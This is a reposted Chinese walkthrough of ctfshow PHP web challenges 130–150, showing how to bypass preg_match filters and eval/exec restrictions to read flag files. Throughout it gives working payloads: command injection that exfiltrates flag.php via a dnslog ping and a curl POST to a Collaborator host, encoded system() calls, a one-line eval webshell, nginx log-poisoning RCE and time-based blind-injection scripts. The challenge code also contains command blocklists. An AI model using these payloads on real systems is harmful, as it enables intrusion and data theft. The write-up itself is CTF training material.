https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
PHP為了防止正則表達式的拒絕服務攻擊(reDOS),給pcre設定了一個回溯次數上限pcre.backtrack_limit。我們可以通過var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看當前環境下的上限
//1000000次

如果回溯次數超過了100萬,preg_match返回的非1和0,而是false。

這樣也就達到繞過preg_match的目的

通過發送超長字符串的方式,使正則執行失敗:

import requests

url="http://d982e941-58a2-4bbb-8e2e-298bdb38ac17.challenge.ctf.show/"

data={"f":"1111"*250000+"ctfshow"}

response=requests.post(url=url,data=data)
print(response.text)

image-20211104193755903

姿勢二:

preg_match無法處理數組

preg_match() 返回值有三種:
0		不匹配
1		匹配一次
FALSE	發生錯誤
對象如果是數組,就返回FALSE     
f=ctfshow[]       //post

姿勢三:

if(preg_match('/.+?ctfshow/is', $f)){
	die('bye!');
.表示任意單個字符,+表示必須匹配1次或多次,+?表示 重復1次或更多次,但盡可能少重復
意思是ctfshow前面必須至少有一個字符,才會匹配到
f=ctfshow      //post

姿勢四:

.表示任意單個字符,但不會匹配換行符

web131


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){      //不能匹配到/.+?ctfshow/
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){    //傳的$f中有36Dctfshow
        die('bye!!');
    }

    echo $flag;

} 

與130類似,用姿勢一

只要把ctfshow改為36Dctfshow就行了,還有url

web132

image-20211104204014234

用bp爆一下

image-20211105121734760

爆出來是admin

或者直接訪問robots.txt

image-20211105124259410

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];
    //三個變量必須都有
    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
} 
mt_rand — 生成更好的隨機數
x || y 	   或  	 如果 x 和 y 至少有一個為 true,則返回 true 	

構造:

?username=admin&code=admin&password=0

web133

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6個字母都還不夠呀?!");
    }
}
substr — 返回字符串的子串  0和6是取字符串的范圍
$a=@$_GET["a"]; 其中的 @ 是為了防止沒有 $_GET['a']出現錯誤提示.
但是 @ 的代價過高, 一般都用 isset() 來判斷一下
相當於isset()

禁止了命令執行的函數

因為它執行$F的前六個字符,所以可以使用F='$F ';

通過傳入?F='$F ';touch 1,傳入之后訪問1,沒有返回,所以當前目錄不可寫

get傳參?F='$F '的意思是:

因為F='$F ';sleep(3)
substr($F,0,6)截斷得前六個字符'$F ';
執行原理:
eval(substr($F,0,6));
==>
eval('$F ';);
==>
eval(''$F ';sleep(3) ';);
``是shell_exec()函數的縮寫
所以執行了$F ';sleep(3)

shell_exec — 通過 webshell 環境執行命令,並且將完整的輸出以字符串的方式返回。

騷操作一:用dnslog獲得子域(建議多試幾邊)

http://dnslog.cn/

image-20211105200048742

curl不帶有任何參數時,curl 就是發出 GET 請求。
grep指令用於查找內容包含指定的范本樣式的文件
tr 指令從標准輸入設備讀取數據,經過字符串轉譯后,將結果輸出到標准輸出設備。
因為flag是數字加字母的字符串,所以可以用tr -cd "[a-z]"/"[0-9]"

curl用法指南:http://www.ruanyifeng.com/blog/2019/09/curl-reference.html

payload:

?F=`$F`;+ping `cat flag.php| grep ctfshow |tr -cd "[a-z]"/"[0-9]"`.(子域) -c 1
讓他訪問一下子域(二級域名),只要被訪問就會留下記錄

image-20211105200105023

flag的格式是8 4 4 4 12,中間加-就可以了

操作二:

curl -F
>>-F參數用來向服務器上傳二進制文件

$ curl -F 'file=@photo.png' https://google.com/profile

上面命令會給 HTTP 請求加上標頭Content-Type: multipart/form-data,然后將文件photo.png作為file字段上傳。

>>-F參數可以指定 MIME 類型。
$ curl -F 'file=@photo.png;type=image/png' https://google.com/profile

上面命令指定 MIME 類型為image/png,否則 curl 會把 MIME 類型設為application/octet-stream。

>>-F參數也可以指定文件名。
$ curl -F 'file=@photo.png;filename=me.png' https://google.com/profile

上面命令中,原始文件名為photo.png,但是服務器接收到的文件名為me.png。

curl -X
-X參數指定 HTTP 請求的方法。
$ curl -X POST https://www.example.com

上面命令對https://www.example.com發出 POST 請求。
可以用curl -F 將flag文件上傳到Burp的 Collaborator Client ( Collaborator Client 類似DNSLOG,其功能要比DNSLOG強大,主要體現在可以查看 POST請求包以及打Cookies)
#其中-F 為帶文件的形式發送post請求
#xx是上傳文件的name值,flag.php就是上傳的文件 

payload:
?F=`$F`;+curl -X POST -F xx=@flag.php http://(域名地址)

使用:

image-20211105195236793

image-20211105195313459

先復制一個域名地址,然后get傳入payload,傳入之后

輪詢一下就ok了

ctfshow web133和其他命令執行的騷操作
https://blog.csdn.net/qq_46091464/article/details/109095382

web134


highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);     //把get傳入的變量解析成多個變量
extract($_POST);                  //把$_POST數組導入到當前符號表
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}
$_SERVER['QUERY_STRING']:
https://blog.csdn.net/qq_49480008/article/details/115872899
parse_str — 將字符串解析成多個變量
extract — 從數組中將變量導入到當前的符號表

image-20211105201503650

image-20211105201523672

直接構造;

?_POST[key1]=36d&_POST[key2]=36d
//因為php文件不會直接顯現出來,所以需要查看源代碼

web135

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("師傅們居然破解了前面的,那就來一個加強版吧");
    }
}

nl能用,其他的有paste等

?F=`$F `;nl f*>a
//訪問url/a就可以了

web136

 <?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?> 
exec(string $command, array &$output = ?, int &$return_var = ?): string
exec() 執行 command 參數所指定的命令。
例:
<?php
// 輸出運行中的 php/httpd 進程的創建者用戶名
// (在可以執行 "whoami" 命令的系統上)
echo exec('whoami');
?>

題中過濾了很多命令,但是tee命令還可以用

tee [-ai][–help][–version][文件…]
-a或–append  附加到既有文件的后面,而非覆蓋它.
-i或–ignore-interrupts  忽略中斷信號。
–help  在線幫助。
–version  顯示版本信息。
tee  a指令會從標准輸入設備讀取數據,將其內容輸出到標准輸出設備,同時保存成文件a。
先:
?c=ls | tee a
然后訪問url/a,查看文件,發現里面只有index.php

?c=ls / | tee b
發現里面有f149_15_h3r3

?c=cat /f149_15_h3r3 | tee c

web137

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){       //靜態函數
        echo file_get_contents("flag.php");
    }
}



call_user_func($_POST['ctfshow']); 

call_user_func()函數將第一個參數作為回調函數調用,這題主要考察如何調用類中的靜態函數

->與::調用函數的區別:
-> 調用實例方法
:: 調用靜態方法
在類里面的時候,$this->func()和self::func()沒什么區別。
在外部的時候,->必須是實例化后的對象使用;而::可以是未實例化的類名直接調用。

payload:

ctfshow=ctfshow::getFlag

//查看源代碼

web138

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);

strripos — 計算指定字符串在目標字符串中最后一次出現的位置(不區分大小寫)

strripos(string $haystack, string $needle, int $offset = 0): int
以不區分大小寫的方式查找指定字符串在目標字符串中最后一次出現的位置。與 strrpos() 不同,strripos() 不區分大小寫。 

haystack
    在此字符串中進行查找。
needle
    注意 needle 可以是一個單字符或者多字符的字符串。
offset
    參數 offset 可以被指定來查找字符串中任意長度的子字符串。
    負數偏移量將使得查找從字符串的起始位置開始,到 offset 位置為止。
   
返回 needle 相對於 haystack 字符串的位置(和搜索的方向和偏移量無關)。同時注意字符串的起始位置為0而非1。
如果 needle 未被發現,返回 false。 

if(strripos($_POST['ctfshow'], ":")>-1){因為返回值是在字符串中的位置,位置是一定>-1的
所以這句話的意思是post傳入的ctfshow里面不能有:的存在
call_user_func支持傳入數組

image-20211106153152336

用數組調用靜態函數

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

//查看源代碼

web139

 <?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?> 

開始想的是tee,但是發現沒用

沒有回顯只能盲打了(與sql盲注類似)

要解決兩個問題

1. 截取字符串
2. 判斷命令執行結構

截取字符串可以用awk等命令
判斷命令執行結果可以用shell編程的if語句和sleep()函數
awk逐行獲取
cut命令截取單獨的字符
shell編程,if語句控制輸出,sleep控制延遲時間

image-20211106173256958

image-20211106173607483

這是hint中的腳本(想試試的話可以試試)(沒跑出來。。。)

import requests
import time
import string
str=string.ascii_letters+string.digits
result="++++++++"
for i in range(1,5):
    key=0
    for j in range(1,15):
        if key==1:
            break
        for n in str:
            payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 5;fi".format(i,j,n)
            print(payload)
            url="http://16497882-21ac-48ce-b1a0-7003be07003b.challenge.ctf.show/?c="+payload
            try:
                requests.get(url,timeout=(3))
            except:
                result=result+n
                print(result)
                break
    if n=='9':
        key=1
        result += " "
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
    print(j)
    if key==1:
        break
    for n in str:
        payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 4;fi".format(j,n)
        print(payload)
        url="http://16497882-21ac-48ce-b1a0-7003be07003b.challenge.ctf.show/?c="+payload
        try:
            requests.get(url,timeout=(3))
        except:
            result=result+n
            print(result)
            break

群主腳本:(也沒跑出來。。。可能是網絡的問題)

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-10-04 08:43:04
# @Last Modified by:   h1xa
# @Last Modified time: 2021-10-04 12:03:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
# /f149_15_h3r3
# ctfshow{7bae6719-8739-4628-b57b-acf7a5fc4351}
import requests

url = "http://fea78741-014c-4a82-8924-e4fc2541579f.challenge.ctf.show/?c="
payload = "if [ `cat /f149_15_h3r3  | cut -c {}` == \"{}\" ];then sleep 4;fi"

result = "+++++++++++++++++"

length=48

strings  = "abcdefghijklmnopqrstuvwxyz_-0123456789"
#strings  = "ctfshow}abdegijklmnpqruvwxyz_-0123456789{"

for c in range(1,length):
	print("+++++++++++++++第"+str(c)+"個字符")
	for s in strings:
		target = url+payload.format(c,s)
		#print(target)
		try:
			requests.get(target,timeout=2.5)
		except:
			result +=s
			print(result)
			break
	result += ""

print(result)

web140

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
} 

image-20211106204446598

所以只要讓intval($code)為0就可以了

intval會將非數字字符轉換為0,也就是說 intval('a')==0 intval('.')==0 intval('/')==0

payload:

f1=md5&f2=phpinfo          //md5(phpinfo())
f1=md5&f2=sleep            //md5(sleep())
f1=md5&f2=md5              //md5(md5())
f1=current&f2=localeconv   //current(localeconv())
f1=sha1&f2=getcwd          //sha1(getcwd()) 
f1=usleep&f2=usleep        //usleep(usleep())

web141

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
} 
/^\W+$/ 作用是匹配非數字字母下划線的字符

本地測試一下eval("return 1;phpinfo();");

發現執行不了,但是eval("return 1-phpinfo()-1");eval("return 1-phpinfo();");,可以執行phpinfo

所以需要繞過正則表達式

yu22x師傅的關於繞過正則表達式的文章:
https://blog.csdn.net/miuzzx/article/details/109143413

用取反腳本構造system(‘tac f*’);

image-20211107182658100

(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)
//system(‘tac f*’)

payload:

?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-&v2=1

web142

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}
?v1=0
//查看源代碼

web143

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

過濾了+-,但還可以用*/

用異或腳本

image-20211107200146528

payload:

?v1=1&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%14%01%03%00%06%00"^"%60%60%60%20%60%2a")*&v2=1 
或
v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1

web144


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}

限制v3的長度為1,所以把命令弄到v2上

構造出eval("return 1-phpinfo();");

payload:

?v1=1&v3=-&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)

web145


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

過濾了+-*/,但是可以用三目運算符

測試eval("return 1?phpinfo():1;");

能執行phpinfo

payload:

?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):&v2=1

web146

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
} 

; : ?也都被ban了

可以用等號(=)和位運算符(||)

測試發現eval("return 1==phpinfo()||1;");

可以執行phpinfo

payload:

?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)||&v2=1

web147

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

參考文章:

https://paper.seebug.org/755/
在PHP的命名空間默認為\,所有的函數和類都在\這個命名空間中,如果直接寫函數名function_name()調用,調用的時候其實相當於寫了一個相對路徑;而如果寫\function_name() 這樣調用函數,則其實是寫了一個絕對路徑。如果你在其他namespace里調用系統類,就必須寫絕對路徑這種寫法。

system =>\system            \是全局命名空間
/^[a-z0-9_]*$/isD
/i不區分大小寫
/s匹配任何不可見字符,包括空格、制表符、換頁符等等,等價於[\f\n\r\t\v]
/D如果使用$限制結尾字符,則不允許結尾有換行; 
數字字母下划線都被過濾了

這個正則可以用%5c(/)繞過

可利用create_function()進行代碼注入

create_function的第一個參數是參數,第二個參數是內容。
create_function('$a','return 123')

類似於:
function f($a) {
  return 123;
}
如果我們第二個參數傳入 echo 1;}phpinfo();//
function f($a) {
  echo 1;}phpinfo();//
}
可以執行phpinfo()命令

payload:

get: show=echo 123;}system('tac f*');//
post: ctf=%5ccreate_function
原理:
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { 
	%5ccreate_function('',echo 123;}system('tac f*');//);}

web148

include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

法一:

沒有過濾^,所以可以用異或構造:

//注意改腳本中的正則

image-20211109221000477

payload:

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");

法二:中文變量

payload:

?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其中"`{{{" ^ "?<>/"異或得到_GET
$哈=_GET;
$_GET[哼]($_GET[嗯]);
?哼=system&嗯=tac f*

web149

error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
} 
scandir(string $directory, int $sorting_order = ?, resource $context = ?): array
返回一個 array,包含有 directory 中的文件和目錄。 
directory
    要被瀏覽的目錄
sorting_order
	默認的排序順序是按字母升序排列。如果使用了可選參數 sorting_order(設為 1),則排序順序是按字母降序排列。
返回值
	成功則返回包含有文件名的 array,如果失敗則返回 false
 foreach 語法結構提供了遍歷數組的簡單方式。foreach 僅能夠應用於數組和對象,如果嘗試應用於其他數據類型的變量,或者未初始化的變量將發出錯誤信息。有兩種語法:
foreach (iterable_expression as $value)
    statement
foreach (iterable_expression as $key => $value)
    statement
第一種格式遍歷給定的 iterable_expression 迭代器。每次循環中,當前單元的值被賦給 $value。
第二種格式做同樣的事,只除了當前單元的鍵名也會在每次循環中被賦給變量 $key。 
例:
<?php
$arr = array(1, 2, 3, 4);
foreach ($arr as &$value) {
    $value = $value * 2;
}
// 現在 $arr 是 array(2, 4, 6, 8)
unlink(string $filename, resource $context = ?): bool
刪除 filename。
filename
    文件的路徑。
返回值
	成功時返回 true, 或者在失敗時返回 false。

payload:

?ctf=index.php
show=<?php eval($_POST[1]);?>
1=system("ls /");

image-20211110132805238

1=system("tac /ctfshow_fl0g_here.txt");

web150

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#過濾字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);             //覆蓋
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){    //這句話的意思是:$isVIP=1,$ctf中沒有:時
    include($ctf);                           
}
extract — 從數組中將變量導入到當前的符號表

class_exists — 檢查類是否已定義

所以我們可以傳入isVIP=1,通過extract()將原來的值覆蓋掉

然后利用日志文件包含來rce

日志路徑是/var/log/nginx/access.log

payload:

User-Agent:<?php @eval($_POST[a]);?>
GET:?isVIP=1
POST:ctf=/var/log/nginx/access.log&a=system("tac fl*");

現在UA頭里寫入一句話,EXECUTE

然后進行日志包含:POST

讓$isVIP等於1:GET EXECUTE

//如果出不來,就換一個瀏覽器

web150_plus

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }
    //注意從這里class已經結束了,下面是一個專門的方法
    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#過濾字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

$ctf中不能有:,也不能有log了

function autoload是當進行類判斷的時候(if(class_exists),會自動調用function autoload

所以要嘗試控制

$_CTFSHOW_

因為_被ban

可以用..來繞過

?..CTFSHOW..=phpinfo

原本要在進行文件包含,但是服務器負載較大,所以這個phpinfo里面就有flag

直接CTRL+F,查找flag就行了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM